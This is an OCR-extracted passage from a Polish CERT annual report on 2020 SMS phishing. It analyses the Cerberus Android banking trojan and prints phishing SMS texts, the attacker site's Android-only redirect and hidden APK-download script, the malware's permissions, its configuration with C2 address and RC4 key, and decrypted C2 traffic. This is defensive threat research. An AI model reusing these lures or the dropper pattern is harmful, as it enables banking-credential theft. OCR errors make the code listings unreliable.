(kategoria: ,optaty”).

W marcu i kwietniu pojawity sie zupetnie nowe kampanie,
Scidle zwigzane z 6wczesng sytuacja. Tuz po wprowadzeniu
lockdownu, tysigce klientow otrzymato informacje o przyznaniu
przez Ministerstwo Zdrowia paczki zywnosciowej. Aby jg
dostag, nalezato podac adres wysyiki, logujac sie na stronie
przestepcédw udajgcej Profil Zaufany i potwierdzajac swojg
tozsamos$é logowaniem do fatszywego banku. Zagrozenia

te przypisujemy w dalszej czesci artykutu do kategorii ,,optaty”.
Kolejng kampanig zwigzang z koronawirusem, byta seria
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serwisy
randkowe
I

SMS-6w z informacja o zajeciu przez NBP oszczednosci

obywateli zgromadzonych w bankach oraz przeznaczeniu
ich na walke z epidemig. W celu pozostawienia dla siebie
pewnej puli Srodkdw na zycie, nalezato zalogowac sie do
~banku” przy pomocy dostarczonego przez przestepcoéw
linku. Podobnie jak poprzednio, kategoria: ,,optfaty”.

Gwattowny wzrost handlu online po wprowadzeniu
wiosennego lockdownu spowodowat lawine SMS-6w

z informacjg o koniecznosci doptacenia do przesytki z powodu
m.in. dezynfekcji, zapewnienia rezimu sanitarnego, poddania
paczki kwarantannie oraz bardziej tradycyjnie — przekroczenia
wagi. Pojawity sie tez préby nakfonienia do instalaciji
ztosliwego oprogramowania udajgcego aplikacje do odbierania
przesytek z paczkomatdw (kategoria: ,paczka”). Zdarzaty

sie rowniez préby wytudzen zwigzanych m.in. z Tarcza
Antykryzysowa dla przedsigbiorcéw albo obowigzkowymi

i ptatnymi szczepieniami (i to juz w marcu 2020!). Dochodzito
takze do podszywania sie pod akcje charytatywne,

m.in. prowadzong przez Fundacje Siepomaga zbiérke
pieniedzy na zakup $rodkéw ochrony osobistej dla personelu
medycznego. Byta to jedna z najlepiej przygotowanych
kampanii phishingowych, jakie obserwowali§my w ostatnim

czasie. Strona przestepcow byta wierng kopig oryginalnej,
a domena (pomoc.sie-pomaga.net, zamiast prawdziwej
pomoc.siepomaga.pl) rowniez nie dawata powoddéw

do podejrzen.

SMS podszywajacy sie pod zbidrke
Fundaciji Siepomaga

Wspieramy polska sluzbe zdrowia w czasie walki

z epidemia COVID-19! Wesprzyj szpitale w Polsce
przekazujac datek!
htlps:f}’pomoc,sie-pomaga.net!koronawirus'-

W okresie wakacyjnym przestepcy postanowili zapolowaé
na ludzi, ktérzy po miesigcach izolacji, spragnieni byli zycia
towarzyskiego. Zaobserwowali§my wowczas kilkadziesiat
domen prowadzacych do stron podszywajgcych sie pod
popularne serwisy randkowe. Scenariusze ataku polegaty
na wytudzeniu danych logowania np. pod pretekstem
koniecznosci weryfikaciji konta. Kategoria: ,,towarzyskie”

Z powodu ponownych ograniczen w handlu stacjonarnym

w koncdwee roku, czesciej niz w latach poprzednich $w.
Mikotaj korzystat z ustug firm kurierskich. Uaktywnito to
oczywiscie przestepcow, ktorzy informowali o tym, ze zostata
przekroczona waga paczki albo przypominali o koniecznosci
dezynfekciji przesytki i zwigzanej z tym dopfaty (kategoria:
~paczki”).

Pozostate wieksze kampanie to gtéwnie znane od lat

scamy zwigzane z serwisami aukcyjnymi i ogtoszeniowymi
(kategoria: ,,Allegro/OLX”), fatszywe aplikacje firm kurierskich
i inne aplikacje mobilne (kategoria: ,,apk”), proby wytudzenia
danych logowania do powigzanego z telefonem konta

w chmurze (kategoria: ,,chmura”) itp.

Rozktad czasowy kampanii SMS w poszczegdinych
kategoriach przedstawiliémy na ilustracji 1, a ich catkowitg
skale na ilustracji 3. Jak tatwo zauwazy¢, tradycyjnie

juz dominuja zagrozenia zwigzane z paczkami / ustugami
kurierskimi.

Najczestsze motywy kampanii SMS

towarzyskie

paczka

Kampanie phishingowe roznig sie tez zasiegiem

i skutecznoscig (ilustracja 4). Prawie 20% wszystkich
klientow, ktérych potaczenia ze stronami zidentyfikowanymi
jako phishing SMS zostaty zablokowane przez CyberTarcze,
prébowato potgczy¢ sie z jedna tylko domeng! Zaledwie
5% najpopularniejszych domen zwabito az 82% klientow
zlapanych na CyberTarczy w zwigzku z phishingiem SMS.

Szacowany skumulowany zasieg kampanii SMS

100%
90%
80%
70%
60%
50%
40%
30%
20%
10%

#unikalnych klientéw

0%
0% 10%  20% 30% 40% 50% 60% 70% 80%  90% 100%

# domen

taczne zasiegi kampanii zmienialy sie tez w czasie. Rekordowe
okazaty sie miesigce jesienne (ilustracja ponizej). Pomimo,

iz liczba kampanii SMS zblizona byta do wiosennej, to liczba
ztapanych przez CyberTarcze w zwigzku z nimi klientéw byta
kilkukrotnie wyzsza.

Prezentowane dane majg charakter szacunkowy.
Prawdopodobnie nie wszystkie kampanie zostaty zgtoszone
nam albo naszym partnerom, a rzeczywista liczba domen
zwigzanych z phishingiem SMS moze by¢ wyzsza.

Phishing SMS - liczba unikalnych klientéw
ochronionych przez CyberTarcze

sty lut mar kwi maj cze lip sie wrz paz lis gru

liczba unikalnych klientéw [tys.]

R NW s 0O N @

Prewencja

W ubiegtym roku w polskiej cyberprzestrzeni pojawito sie
nowe narzedzie zwiekszajgce bezpieczenstwo uzytkownikéw
internetu. Mowa tu o utrzymywanej przez CERT Polska liscie
ostrzezen przed niebezpiecznymi stronami.

W kilka dni po rozpoczeciu atakdéw phishingowych zwigzanych
z koronawirusem, éwczesne Ministerstwo Cyfryzacji, UKE,
NASK-PIB oraz czterej gtéwni operatorzy komoérkowi podpisali
»Porozumienie o wspdtpracy w zakresie ochrony uzytkownikéw
internetu przed stronami wytudzajgcymi dane, w tym dane
osobowe oraz doprowadzajgcych uzytkownikéw internetu

do niekorzystnego rozporzgdzenia ich srodkami finansowymi
w okresie stanéw nadzwyczajnych, stanu epidemii lub stanu
zagrozenia epidemicznego w Rzeczypospolitej Polskiej.”
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Pomimo dtugiej i skomplikowanej nazwy, rozwigzanie jest
dos¢ proste — CERT Polska prowadzi i udostepnia wykaz
stron uznanych za phishingowe. Lista jest zasilana wiasnymi
znaleziskami CERT Polska oraz zgtoszeniami z rynku.
Udostepniana jest ona publicznie i bezptatnie kazdemu
zainteresowanemu. Domeny blokowane sg przez operatorow,
sama lista moze tez zosta¢ wykorzystana jako feed dla
wtyczek blokujgcych w popularnych przegladarkach
internetowych.

Wyzwanie

W efektywnym zwalczaniu zagrozen zwigzanych z phishingiem,
wazna jest nie tylko skutecznos$¢ detekciji, ale takze czas

jaki uptywa od wystgpienia zagrozenia do skutecznego
zablokowania zasobdw zawierajgcych ztosliwe tresci.

Na ilustracjach 6 (okno 7-dniowe) i 7 (zoom na pierwsze

12 godzin) pokazali$my rozktad czasu (dystrybuanta),

ktory uptynat od momentu rejestraciji domeny (lub certyfikatu
do niej, w zaleznosci co byto pierwsze) do zaobserwowania
powigzanego z nig zdarzenia w systemach CERT Orange
Polska (np. zapytania do serwera DNS).

Czas ten mocno rézni sie w zaleznosci od kategorii phishingu,
a wiec posrednio takze grup przestepczych, ktére za nim
stojg. W podszywaniu sie pod ustugi chmurowe czyms
powszechnych jest wykorzystywanie domen, ktére istniejg
kilka dni, lub nawet dtuzej. W phishingu zwigzanym z ustugami
kurierskimi czasy te sag znacznie krétsze — 90% domen
uzytych w ataku zostato zarejestrowanych nie wczeéniej
niz 24 godziny przed atakiem, 70% domen ma mniej niz

9 godzin, 45% mniej niz godzine, a az 30% mniej niz pot
godziny. Dla poréwnania, w kampaniach zwigzanych

z serwisami randkowymi, domeny mtodsze niz 9 godzin
stanowity 50% atakéw, niz godzina - 5%.

100%

10% f—

0O 10 20 30 40 50 60 70 80

Od momentu rejestracji domeny i/lub certyfikatu, nazwa ta staje
sie widoczna publicznie jako wpis DNS albo rekord w Certificate
Transparency Log. Dopiero wéwczas jej wykrycie jest
przynajmniej teoretycznie mozliwe, co nie znaczy, ze zawsze
w praktyce wykonalne bez wykorzystania nieproporcjonalnych
srodkdw. Im szybciej po tym zdarzeniu nastepuje atak, tym
mniej mamy czasu na podjecie $rodkéw zaradczych. Czas
reakcji zespotéw CERT i wdrazania blokad jest tu krytycznym
czynnikiem sukcesu, dlatego automatyczny monitoring i
skuteczna mitygacja prowadzone musza by¢ w trybie 24/7.
Domeny wykorzystywane w phishingu SMS w kampaniach
»na kuriera” muszg by¢ blokowane w ciggu kilkudziesieciu
minut od ich rejestraciji, a nie dopiero w nastepnym dniu
roboczym.

Podsumowanie

Phishing SMS jest z nami od wielu lat. W ubiegtym roku do
starych kampanii ,na kuriera” czy ,na ogtoszenie”, dotgczyty
nowe, zwigzane z biezacg sytuacja w kraju i na $wiecie. Emocje
takie jak strach, poczucie niepewnosci, ktére towarzyszyty
szczegdlnie poczatkom pandemii koronawirusa, bardzo utatwity
zadanie oszustom. Z drugiej jednak strony, sytuacja ta
przyczynita sie réwniez do przyspieszenia dziatar po jasnej
stronie mocy i do zawarcia antyphishingowego porozumienia
réznych podmiotdw zajmujacych sie tematyka
cyberbezpieczenstwa i do przynajmniej czesciowej poprawy
sytuaciji klientéw, ktorzy nie korzystaja z ustug takich

jak CyberTarcza.

PS 4 lutego 2021 r. Prokuratura Regionalna w Warszawie
poinformowata o zatrzymaniu i tymczasowym aresztowaniu
grupy przestepczej zajmujacej sie m.in. phishingiem SMS
metoda ,,na kuriera”.

Michat Lopacki
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Fatszywe aplikacje mobilne,
czyli instaluj TYLKO ze sklepu!

Kilka czotowych bankéw, Allegro, Lidl, wreszcie
zdecydowanie ulubieniec $lacych phishingowe SMS-y
przestepcédw — InPost. Zalewaty one telefony Polakéw

w 2020 roku. Co byto ich wspdlng cechg? Tego domysililiscie
sie zapewne, czytajac pierwsze zdanie — rzekome aplikacje
nie miaty nic wspodlnego z oferta firm, ktérych marki zostaty
naduzyte. Zamiast tego, jesli daliémy sie przekonaé socjo-
technicznym sztuczkom, instalowali$my na telefonie/tablecie
trojana Cerberus, wyspecjalizowanego w wykradaniu danych
logowania do bankowosci elektronicznej, a nawet kodow

z aplikacji Google Authenticator.

Prawdziwy sklep czy serwer przestepcy?

O ile na poczatku przestepcy przesytali linki w SMS-ach,

im blizej korica roku, tym czesciej uzywali taczy do witryn,
do ztudzenia przypominajacych Sklep Google Play. Rdéznica
byta taka, ze klikniecie w celu instalacji nie przenosito nas
do aplikaciji sklepu, ale po prostu uruchamiato $ciaganie pliku
*.apk bezposrednio z serwera przestepcy. Oczywiscie
ostatnie zabezpieczenie niezmiennie dziatato — w celu
instalacji pliku musieli§my odblokowaé z poziomu telefonu
zgode na instalacje aplikacji spoza sklepu Play. U coraz
wiekszej liczby internautdéw taki monit wywotuje alarm,
jednak regularno$¢ opartych o ten motyw kampanii dowodzi,
Ze muszg sie one przestepcom najzwyczajniej w $wiecie
optacaé. Jak wygladajg nasze statystyki? Kampanie ,,na
ogtoszenie OLX” generujag jednostkowe wejscia, bowiem

sg celowane w konkretnego uzytkownika. Podczas jednego
przyktadowego dnia fake newsowej kampanii ze strong,
podszywajaca sie pod Facebooka, co 20 minut pojawiaty
sie 1-2 nowe domeny. W sumie byto ich 15, a 8 tysiecy
uzytkownikoéw ,odpukato” sie 14 tys. razy. Dzieki naszym
mechanizmom coraz czesciej blokujemy pojedyncze bramki
po kilkunastu-kilkudziesieciu wejsciach.

Jak to dziata?

Przyjrzyjmy sie technicznej analizie aktywno$ci Cerberusa.
Ten przypadek oparli§my o atak w nieco innym stylu,

ale aktywno$¢ malware’u wyglada w kazdym przypadku
podobnie - réznity sie tylko nazwy aplikacji.

Zaczeto sie od SMS-a:

Dzisiaj naliczona zostanie oplata za subskrypcje 30 zl.
Aby anulowac subskrypcje prosimy o odinstalowanie
aplikacji.Deinstalator: hxxp://wrozbyonline.net/wrézby

W kodzie strony, odpowiedzialnym za przekierowanie,
widaé, ze ztosliwa aktywnos$¢ podejmowana jest wytgcznie
w przypadku stwierdzenia, iz ofiara otwiera link na telefonie
z systemem Android.

<script type="text/javascript”>
var isMobile = {
Android: function() {
return navigator.userAgent.match (/Android/i) ;
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b,
BlackBerry: function() {
return navigator.userAgent.match(/BlackBerry/i) ;

b,
i0S: function() {
return navigator.userAgent.match (/
iPhone|iPad|iPod/i) ;
b,
Opera: function() {
return navigator.userAgent.match(/Opera Mini/i) ;

},
Windows: function() {
return navigator.userAgent.match(/IEMobile/i) ;
b,
any: function() {
return (isMobile.Android() || isMobile.BlackBer-
ry() || isMobile.iOS() || isMobile.Opera() || isMobile.
Windows ()) ;
}
}i

if ( isMobile.Android() ) {
document.location.href="download.html”;

}else({
document.location.href="https://www.wrozbyonline.pl”;

}
</script>

Ostateczne przekierowanie nastepuje na strone wrozbyonline.

net/download.html
<iframe width="1"” height="1" frameborder="0"

src="sklepjubilerski.apk”></iframe>
Skad finalnie pobierana jest ztosliwa aplikacja:
hxxp://wrozbyonline.net/sklepjubilerski.apk

W opcjach telefonu nalezy zezwoli¢ na instalacje aplikaciji

z nieznanych zrédet. Aplikacje spoza sklepu Play nie instalujg
sie automatycznie (wymagajg zmiany ustawien przez
uzytkownika)

W momencie analizy wirus rozpoznawalny byt przez siedem
silnikéw antywiruséw pod réznymi nazwami.

AhnLab-V3 Trojan/Android.Banker.896466

AhnLab-V3 Trojan/Android.Banker.896466
Avast-Mobile Android:Evo-gen [Tri]

Avira (no cloud) ANDROID/Dropper.FRGT.Gen
CAT-QuickHeal Android.Agent.GEN32502

DrWeb Android.BankBot.2311

F-Secure Malware. ANDROID/Dropper.FRGT.Gen
Fortinet Android/Agent.DVL!ir

Ikarus Trojan-Banker.AndroidOS.Cerberus

K7GW Trojan ( 0055e1561 )

Kaspersky HEUR:Trojan-Dropper.AndroidOS.Hgwar.bp
ZoneAlarm by Check Point HEUR:Trojan-Dropper.Androi-
dOS.Hgwar.bp

Z samych uprawnien pliku APK wyglada, iz jego
funkcjonalno$¢ polega na kradziezy SMS-6w przychodzgcych
na zainfekowany telefon, co wynika z uprawnien, zawartych

w pliku AndroidManifest.xml:
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<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="h
ttp://schemas.android.com/apk/res/android" android:compileSdkVersion="23" androil
d:compileSdkVersionCodename="6.0-2438415" package="1lhsp.zcbyngogjpbbzpqg.hgbcbmtz
" platformBuildVersionCode="23" platformBuildVersionName="6.0-2438415">

<uses-permission
<uses-permission
<uses-permission
<uses-permission
IMIZATIONS" />
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission

android:
android:
android:
android:

android:
android:
android:
android:
android:
android:
android:
android:

name="android.
"android.
android.
name="android.

name="android.
name="android.
android.

android

name="android.

name="android

name="android.
name="android.

permission.
permission.
permission.
permission.

permission.
.WAKE LOCK"/=>
.WAKE_LOCK"/=>

permission
permission

.permission.
permission.
.permission.
permission.
permission.

READ CONTACTS"/>

CALL PHONE"/>

INTERNET" />
REQUEST IGNORE BATTERY OPT

INTERNET" />

READ SMS"/>
RECEIVE _BOOT_COMPLETED"/>
READ PHONE STATE"/>

SEND SMS"/>

RECEIVE SMS"/>

<application android:allowBackup="true" android:icon="@mipmap/ic_launcher™” a
ndroid:label="Sklep Jubilerski" android:name="1lhsp.zcbyngoqjpbbzpg.hgbcbmtz.Xcer
taintopple” android:roundIcon="@mipmap/ic launcher round" android:supportsRtl="t
rue” android:theme="@android:style/Theme.Translucent.NoTitleBar">

<activity android:name="qujfnblzgcdjxqsmnua.biitilrludzi.ascxgxmtwcfaksd
gtgzypd.Ptoesell" android:screenOrientation="portrait"/>

odczyt kontaktéw
wykonywanie potgczen
dostep do internetu
wskaznik baterii

wysytanie wiadomosci SMS
odczyt SMS odczyt informaciji o stanie urzadzenia
(dane sieci, numer telefonu, status potgczen)

Aplikacja instaluje sie jak ta zwykta na Androida.

Bez watpienia czerwong lampke u uzytkownika powinien
zapali¢ fakt, iz jako ,deinstalator” instalujemy aplikacje...
Sklep Jubilerski. W pdzniejszych miesiacach, w przypadku
atakéw, podszywajgcych sie pod Allegro, czy InPost,
przestepcy pilnowali tego duzo dokfadnie;j.

ll 5% 8 10:31

E1 Sklep Jubilerski

Zainstalowac te aplikacje? Bedzie miata
nastepujgce uprawnienia:

PRYWATNOSC

% .l 7% 10:55

Sklep Jubilerski

v Aplikacja zostata zainstalowana.

74

Rs bezposrednio wybierz numery telefonéw.
© to moze generowac dodatkowe koszty

Odczyt. stat. i ID telef

E odczytywanie wiadomosci tekstowych
(SMS i MMS)
otrzymuj wiadomosci SMS
Wyslij SMS

® tomoze

= Czytaj dane kontaktow.

DOSTEP DO URZADZENIA

1, petny dostep do Internetu

[ uruchamianie podczas wtaczania
urzadzenia

ANULUJ DALEJ

GOTOWE OTWORZ

Co wiecej, po zainstalowaniu aplikacji otwiera sie okno

z monitem proszacym o wigczenie rzekomej ,,Ochrony
Telefonu”. Przestepcy chca przekonaé ofiare, iz jest

to niezbedne, by aplikacja w petni dziatata na telefonie,

a tak naprawde umozliwia to wirusowi uzyskanie dalszych,
znacznie szerszych uprawnien niezbednych do
efektywnego dziatania.

= .l 7% 10:55

&~ Accessibility Service

DOWNLOADED SERVICES

Select to speak
Ochrona telefonu
Switch Access

TalkBack

SCREEN READERS

Text-to-speech output

wiaczyé 'Ochrona telefonu'

[ % .l 8%12 10:58

& Ochrona telefonu ([ )

Nie ma opisu.

Uzy¢ Ochrona telefonu?

Ochrona telefonu zada
zezwolenia na:

* Monitor Twoich czynnosci
wiaczy¢ Ochrona telefonu J

* Pobieranie zawartosci

wartosc uzywanego

ANULUJ OK

Oczywiscie aplikacje znajdziemy roéwniez

w systemowym menedzerze. Dalsza analiza wykazuije,
iz mamy do czynienia z Cerberusem - bardzo
popularnym tzw. bankerem na smartfony, stuzgcym

do wykradania haset dostepowych, logindw do aplikaciji
bankowych i SMS-éw autoryzacyjnych. Robi to gtéwnie

za pomoca naktadek (ang. overlay) przystaniajgcych
ekran i podszywajgcych sie pod bank. Kod do
wstrzyknigcia naktadki pobierany jest z zewnetrznego
serwera, podczas gdy wirus jest uruchomiony

na zainfekowanym telefonie. Ztosliwe oprogramowanie
w kodzie posiada funkcjonalno$é dynamicznie
tadujgcych sie modutow.

Ponizej przedstawiamy konfiguracje wraz z widocznym

kluczem RC4, stuzagcym do szyfrowania i odszyfrowania
przesytanych danych miedzy zainfekowanym telefonem
a serwerem Command&Control:

<?xml version='1.0’ encoding='utf-8’ standalone=’yes’ ?>

<map>

<int name="lastVersionCodeUsed” value="2357121" />

</map>

<?xml version=’'1.0’ encoding='utf-8’ standalone=’'yes’ ?>

<map>
<string
<string
<string
<string
<string
<string
<string

name="idbot”>ad4jd56tj3fbx58211</string>
name:”lockDevice”>0</string>
name="timeMails”>-1</string>
name="timeWorking”>1096</string>
name="statCards”>0</string>
name="urlAdminPanel”>http://curcaoces.club</string>
name="LogSMS”>BLOCK DISABLE ACCESIBILITY

SERVICE: :endLog: :</string>

<string
<string
<string
string>
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string

name="activeDevice”>0</string>
name="nameInject”></string>
name="packageNameDeful tSmsMenager”>com.android.mms</

name="activityAccessibilityVisible”>1</string>
name="urls”></string>

name="autoClick”>1</string>

name="old_start inj”>0</string>
name="app_inject”></string>
name="timestop”>0</string>
name="goOffProtect”></string>

name="display width”>1080</string>
name="logsContacts”></string>
name="packageNameActivityInject”>qujfnblzgcdjxgsmnua.

biitilrludzi.ascxgxmtwcfaksdqtgzypd.indvy.opxvzpqjw</string>

<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
string>
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
<string
</map>

name="actionSettingInection”></string>
name="statDownloadModule”>0</string>
name="arrayInjection”></string>
name="offSound”>0</string>
name="timeProtect”>-1</string>
name="listSaveLogsInjection”></string>
name="activeInjection”>0</string>
name="statAccessibilty”>1</string>
name="killApplication”></string>
name="timeInject”>-1</string>
name="checkupdateInjection”></string>
name="whileStartUpdateInection”></string>
name="getIdentifier”>1234567890</string>
name="packageName”>1hsp. zcbyngoqjpbbzpq.hgbcbmtz</

name="initialization”>good</string>
name="daylPermissionSMS”>1</string>
name="startpush”></string>
name="keylogger”></string>
name="checkProtect”>2</string>
name="starterService”></string>
name="schetAdmin”>90</string>
name="getPermissionsToSMS”></string>
name="dataKeylogger”></string>
name="statusInstall”></string>
name="inj_start”>0</string>
name="statMails”>0</string>
name="1logsSavedSMS”></string>
name="idSettings”></string>
name="schetBootReceiver”>90</string>
name="step”>0</string>
name:”statBanks”>O</string>
name="statProtect”>0</string>
name="hiddenSMS”></string>
name="logsApplications”></string>
name="key”>sfhdfhwerkhgjfgh</string>
name="timeCC”>-1</string>
name="display height”>1920</string>
name="statAdmin”>0</string>
name:”startInstalledTeamViewer”>1</string>
name="kill”></string>
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Jak wskazuje kod, malware pozwala atakujgcemu nie tylko na podgladanie SMS-6w, ale takze danych logowania do bankéw,
tresci maili i wiele wiecej. W trakcie analizy uruchomiono w $rodowisku odizolowanym komunikacje telefonu z C&C pod
adresem curcaoes.club. Ponizszy proces przedstawia odszyfrowanie przesytanych danych.

56586: Flags [5.], seq 156136271, ack 1489161853, win 292088, options [mss 1468,nop,nop,sackOK,nop,wscale 7],

116.http: Flags [.]. ack 1, win 685, length @

.118.http: Flags [P.], seq 1:1812, ack 1, win 685, length 1811: HTTP: POST /gate.php HTTP/1.1
ST fgate.php HTTP/1.

@ (Linux; U; Android 5.8.1; GT-I9515 Build/LRX22C)

(204NzU3ZGEOMRI3Z] Vi

.56506: Flags [.], ack 1812, win 244, length @

.56586: Flags [P.], seq 1:78, ack 1812, win 244, length 69: HTTP: HTTP/1.1 484 Not Found
.HTTP/1.1 484 Not Found

78, ack 1012, win 244, length @

. win 685. lenath @

Przyktadowa zaszyfrowana komunikacja po wczesniejszym zdekodowaniu base64:

619afaf2c4d6eafc61d88b329376bb31b03deb18bf9cc351dad2b7{5b177a76f76d057
19645a25ee2a852aa7e969c92da15a5ae84ab35217bdcd7e4e8067ae9dc5f15¢cc89
4030938842806b343c34f92dec141b2cc6586¢50a060chc82a23ca23d0409921393
7566d33fe3f183c4b709f763e491c3425c2aac18c8feale0e02563b7db4f090a58327
69b026dba0d7c17d400a2536e7c0a66b7b8b3a8ddbcd4ddac19a252430d59c634e
2380be395039c7af066acda0d8e4f0c31fbb3b14e572322f17fc3c0aadfd4d6e50871
22453a162cf3a4a94e41f53bf71a89947ce19f7¢c99af952c04d2188f7adal32770fcab0
c4070fe3a5a6d31751a74c027ed90ed2ad024867fe5ca83cf63d1cbad0788fe6fa950
000a7c2

Po zdekodowaniu przy uzyciu klucza RC4 ,sfhdfhwerkhgjfgh” ciag wyglada tak:

7B 22 69 64 22 3A 22 67 70 69 62 38 6D 64 69 34 63 61 73 75 37 68 76 68 22 2C 22 69 64 53 65 74 74 69 6E 67 73 22 3A 22
222C227374617441646D696E223A2230222C227374617450726F74656374223A2232222C22737461
7453 63 72 65 65 6E 22 3A 22 31222C 2273746174 41 63 63 65 73 73 69 62 69 6C 74 79 22 3A 22 31222C 22 73 74 61
74534D53223A2230222C22737461744361726473223A2230222C227374617442616E6B73223A2230
222C22737461744D 6169 6C 73 22 3A 22 30 22 2C 22 61 63 74 69 76 65 44 65 76 69 63 65 22 3A 22 30 22 2C 22 74 69
6D 65 57 6F 72 6B 69 6E 67 22 3A 22 31 32 3022 2C 22 73 74 61 74 44 6F 77 6E 6C 6F 61 64 4D 6F 64 75 6C 65 22 3A 22 30
222C22626174746572794C 65 76 65 6C 22 3A 22 31 30 30 22 2C 22 6C 6F 63 61 6C 65 22 3A 22 70 6C 22 7D

Ostatecznie odszyfrowany wynik koncowy transmisji do C&C wyglada tak:

{“id”:"gpib8mdi3casu7hvh”,”idSettings”:””,”statAdmin”:"0”,"statProtect”:"2",”statScreen”:"1”,
“statAccessibilty”:”1”,”statSMS”:”0”,”statCards”:"0”,"statBanks”:”0”,”statMails”:”0”,
“activeDevice”:”0”,”timeWorking”:"120”,”statDownloadModule”:”0”,”batteryLevel”:”100”,
“locale”:”pl"}
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Pod nas tez sie podszywali

Oszusci byli na tyle mili, by udawaé réwniez naszg firme.

W CERT Orange Polska poczuli$my sie naprawde docenieni,
zobaczywszy kiedy$ co$, co do ztudzenia przypominato ekran
CyberTarczy:

CERT Orange Polska *x |+

= c o D& operatorgsm.pl 60% | e ©@ % S [\ )

Ustawienia Sieci Orange

@ Opening UstawieniaSieci.apk
You have chosen to open:

Dla twojej wygody, lepszego UstawieniaSieci.apk
bezpieczenstwa 1 szybszego |
zaimplementowal najnowszy
naszych nadajnikach, prosim ; -
zaktualizowanie swojego telq Would you like to save this file?
instalacje tatki zmieniajacej
sieci na kompatybilne z nasz

which is: APK file (4.5 MB) i i
from: http://102.130.124.22 i

waznego

W praypadku nie zaktualizowania ustawied, telefon nle bedzie w stanse polaczyé sig 2 slecla GSM |

Jak mawiat Walt Whitman (1819-1892), amerykanski Co dalej?
poeta, ,Wzorowanie sie na innych uznanych twércach

to nic zdroznego, to najlepszy znany mi sposéb na rozwoj
wiasnego talentu”. Lepiej bysmy sie jednak czuli, gdyby
twércy tej witryny dyskontowali swoj talent na uczciwe
sposoby. Tym razem mieliSmy do czynienia z bankerem
Hydra (w wersji PC pod tg nazwg funkcjonuje
ransomware), dysponujgcym takimi mozliwos$ciami:

Na pierwszy rzut oka tego typu schemat ataku wydaje sie
grubymi niémi szyty. Jednak fakt, iz regularnie pojawiajg

sie nowe kampanie dowodzi, iz przestepcy uzyskujg
satysfakcjonujacy ich zwrot z ,inwestycji”. A to dlatego,

ze niezmiennie najstabszym ogniwem wszystkich
zabezpieczen jest cztowiek. My, przy wsparciu naszych
systemow, staramy sie Wam pomagac i jak najwczesniej
blokowaé potwierdzone ztosliwe strony. Dzieki temu albo
nie zdotacie $ciggna¢ fatszywej aplikaciji, albo — w najgorszym
przypadku — zainstalowana aplikacja nie potaczy sie

z serwerami przestepcéw. Wy, sprawdzajgc swojg sie¢

na stronie CyberTarczy, dowiecie sie, ze dzieje sie cos ztego
i jak sobie z tym poradzi¢.

Text: dostep do sms
USSD: wykonywanie potgczen wysytanie kodow USSD

Injects: Naktadka przestaniajacy aplikacje (np. bankowe),
by uzytkownik wprowadzit swoje dane

Locker: blokowanie ekranu Jesli mielibyscie zapamietaé z tego materiatu jedna rzecz,

i niech to bedzie ponizsze:
Screencast: nagrywanie ekranu

. . . . Nie instaluj aplikaciji na telefon spoza oficjalnego sklepu!
Taki programik moze naprawde narobic sporo szkody...

(chyba, ze jestes researcherem i/lub zdecydowanie wiesz,
co robisz).
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Komentarz Partnera:

tukasz Cepok

0Od poczatku swojej kariery zwiazany z branza
finansowa, gdzie przeszedt Sciezke od mtodszego
administratora systemoéw, do kierownika

zespotu IT, zawsze z zacieciem na bezpieczenstwo.
W pewnym momencie postanowit zosta¢
bezpiecznikiem na petny etat.

Obecnie jest pracownikiem Santander Bank Polska,
gdzie zajmuje sie analiza i reagowaniem na incydenty
bezpieczenstwa oraz cyberzagrozenia. Hobbystycznie
zajmuje sie analiza aplikacji mobilnych i sledzeniem
zagrozen mobilnych.

2020 rok pod znakiem
Cerberusa...

Wydarzenia 2020 roku wymusity na nas zintensyfikowanie
swoich dziatan on-line. Przez sytuacje pandemiczng
zostaliSmy niejako przymuszeni do przeniesienia swoich
codziennych czynno$ci do $wiata internetu, smart

i mobile. Rynek sie przystosowat, my sie przystosowalismy,
a przestepcy réwniez nie tracili czasu i zaadoptowali sie

do nowej rzeczywisto$ci znacznie szybciej.

Dostepno$é na czarnym rynku ztosliwego oprogramowania

w réznorakich formach, czy to standardowe nabycie produktu,
czy jego wynajem w formule Maa$S - (), spowodowato wysyp
wielu rodzajow aplikacji. Niewatpliwie przez dtugi czas, ,,krdl
byt jeden” - Cerberus. Oprogramowanie stworzone przez
rosyjskich developeréw, reklamowane na darknetowym forum
xss[.]is, pojawito sie juz w czerwcu 2019 roku. Jednak dopiero
rok 2020 rozpedzit te machine. Udostepnianie go w formie
MaaS spowodowato, ze prég wejscia w ten ,biznes”
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byt stosunkowo niski. Ceny wynajmu oprogramowania
na miesigc zaczynaty sie od 2000 dolaréw
(bez uwzglednienia promocji).

| tak Polske nawiedzity kampanie podszywania sie pod
ulubionego przez przestepcédw InPostu, ale réwniez Allegro,
Pekao czy Aplikaciji fithessowych. Kazdy z tych scenariuszy
byt dopracowany, tak by konwersja z kampanii byta jak
najwieksza.

0 o T4 544

Accessibility

Volume key shortcut
No service selected

Downloaded services

Google Play Protect
OFF

Screen readers

Text-to-speech output

Display

Font size
Default

Display size
Default

Magnification
@

Large mouse pointer

Enable Google Play Protect
Inter 4 2

InPast
xwddbgafpycps.dgnkqgimftrnfgx.fluwawlfpjogueuou

InPost Mobile

stmeck: irgr d
pn.mgbzqeuyul

InPost Mobile
raft 0a0.omemkkagyryujuggfm

ompiler. Dexlib2 s

InPost Mobile
iowugkrfkek.cipllacqgkorliocx.ytti
2020-06-03 20,08:32 2020-06-03 21:46:42

) compiler: Dexlib2 size: 1.39 M8

InPost
jfkwagefl hacrnqwrefbxkfnjititsagapj.ueoeluzikuwne
pwizsj

06-01 16:44:08

Lo \ FREAN

{2 | Bank Pekao

Zaloguj sie do Twojej Nowej Bankowosci

Podaj login

Podaj hasto

Nastapilo pomysine wylogowanie

Dalej

Typowy scenariusz sktadat sie z kilku elementow:

1. SMS do ofiary - ktéry byt sztuczka socjotechniczna,
ktéra naktaniata do wejscia na strone, schowana pod
aktywnym linkiem w wiadomosci tekstowej. Przestepcy
korzystali z bramek SMS-owych, ktére pozwalaty
wysyta¢ wiadomosci z nadpisem (np.: INPOST).

Tre$¢ byta zalezna od scenariusza, a w kampaniach
InPost-owych byta to informacja o tym, ze trzeba
zaktualizowa¢ adres dostawy w aplikacji, lub zeby
